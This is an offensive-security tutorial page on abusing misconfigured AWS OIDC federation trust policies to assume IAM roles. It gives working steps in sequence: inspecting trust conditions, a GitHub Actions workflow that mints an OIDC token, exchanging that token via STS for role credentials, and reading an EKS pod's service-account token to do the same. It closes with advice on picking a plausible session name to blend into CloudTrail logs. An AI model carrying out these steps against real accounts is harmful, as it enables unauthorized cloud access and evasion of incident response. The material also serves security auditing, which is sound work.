# OIDC Federation Abuse

> Exploit trust relationships in OIDC federation to assume IAM roles via manipulated identity tokens, bypassing traditional credential-based authentication in AWS.

- **URL:** https://hackindex.io/platforms/aws/exploitation/oidc-federation-abuse
- **Path:** AWS > Exploitation
- **Up:** [Exploitation](https://hackindex.io/platforms/aws/exploitation.md)
- **Published:** 2026-08-10
- **Updated:** 2026-09-11

OIDC federation lets external identity providers assume IAM roles through `sts:AssumeRoleWithWebIdentity` without any long-lived AWS keys. GitHub Actions, GitLab CI, and EKS service accounts all rely on it. The trust lives entirely in the role's trust policy, and a loose condition on the token subject or audience turns that trust into a path for anyone who can mint a matching OIDC token.

This page assumes you already found a role trusting a web-identity provider. Discovery of account IDs and IAM roles is covered in [AWS Account ID and IAM Discovery](https://hackindex.io/platforms/aws/reconnaissance/aws-account-id-and-iam-discovery).

## Inspect the Trust Policy

Read the role's `AssumeRolePolicyDocument`. The `Federated` principal names the OIDC provider, and the `Condition` block is what actually restricts who can assume it.

```bash
aws iam get-role --role-name $ROLE_NAME --profile $PROFILE --query 'Role.AssumeRolePolicyDocument'
# {
#     "Version": "2012-10-17",
#     "Statement": [
#         {
#             "Effect": "Allow",
#             "Principal": {
#                 "Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com"
#             },
#             "Action": "sts:AssumeRoleWithWebIdentity",
#             "Condition": {
#                 "StringLike": {
#                     "token.actions.githubusercontent.com:sub": "repo:acme-corp/*"
#                 }
#             }
#         }
#     ]
# }
```

List the configured providers in the account when you have API access, so you know which token issuers are trusted:

```bash
aws iam list-open-id-connect-providers --profile $PROFILE
```

## What Makes It Abusable

Three trust-policy mistakes turn a legitimate federation into an assume-role path for an outsider:

- **Missing `aud` condition**. Without a check on `:aud` (GitHub uses `sts.amazonaws.com`), any token from the provider is accepted regardless of who requested it.
- **Wildcard in `sub`**. `StringLike` with `repo:acme-corp/*` trusts every repository in the org, including one an attacker can create or a fork they control. A bare `*` trusts every repo on GitHub.
- **Wrong condition operator**. Using `StringLike` where `StringEquals` was intended, or matching only a branch prefix, widens the set of tokens that pass.

The subject claim format is provider specific. For GitHub Actions it is `repo:<org>/<repo>:<ref-or-environment>`, for example `repo:acme-corp/deploy:ref:refs/heads/main`. Match your controlled workflow's subject against the policy condition to confirm it will pass.

## Mint an OIDC Token You Control

If the `sub` condition matches a repository or org you can push to, run a workflow that requests an ID token for the AWS audience and prints it. This is the token you exchange for role credentials.

```yaml
name: oidc
permissions:
  id-token: write
  contents: read
jobs:
  token:
    runs-on: ubuntu-latest
    steps:
      - name: Request OIDC token
        run: |
          curl -s -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
            "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com" \
            | jq -r '.value'
```

Any workflow whose repository and ref produce a subject matching the trust condition works. If the policy trusts `repo:acme-corp/*` and you can create a repo under that org, or the org allows fork workflows, you can generate a passing token.

## Exchange the Token for Role Credentials

Call STS directly with the ID token. No AWS credentials are needed on the request, the token is the only proof.

```bash
aws sts assume-role-with-web-identity \
  --role-arn arn:aws:iam::$ACCOUNT_ID:role/$ROLE_NAME \
  --role-session-name $SESSION_NAME \
  --web-identity-token "$OIDC_TOKEN"
# {
#     "Credentials": {
#         "AccessKeyId": "ASIA...",
#         "SecretAccessKey": "...",
#         "SessionToken": "...",
#         "Expiration": "2026-01-01T06:00:00Z"
#     },
#     "AssumedRoleUser": {
#         "Arn": "arn:aws:sts::123456789012:assumed-role/deploy-role/attacker"
#     }
# }
```

Export the returned credentials and operate as the role:

```bash
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws sts get-caller-identity
```

## EKS IRSA Variant

IAM Roles for Service Accounts uses the same mechanism with the cluster's OIDC issuer. A pod with a projected service-account token and a role whose trust condition only checks the issuer, not the `:sub` for a specific namespace and service account, lets any pod in the cluster assume that role. Read the token from the pod and exchange it the same way:

```bash
TOKEN=$(cat /var/run/secrets/eks.amazonaws.com/serviceaccount/token)
aws sts assume-role-with-web-identity \
  --role-arn $AWS_ROLE_ARN \
  --role-session-name irsa \
  --web-identity-token "$TOKEN"
```

> [!WARNING]
> `AssumeRoleWithWebIdentity` is logged to CloudTrail with the source token's subject and audience. A session name and subject that do not match the expected CI pipeline are the clearest signal of abuse, so pick a plausible session name and expect the call to be recoverable during incident response.
